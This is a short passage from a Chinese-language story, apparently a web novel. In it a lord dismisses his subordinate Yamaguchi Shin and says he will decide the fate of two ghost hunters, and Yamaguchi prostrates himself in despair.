“行了,退下吧,那两个猎鬼人,我自有定夺。” 山口信听到这个噩耗,面色“唰”的一下变得苍白,他绝望地闭上眼睛,再次趴伏在地板上: “是,大人。”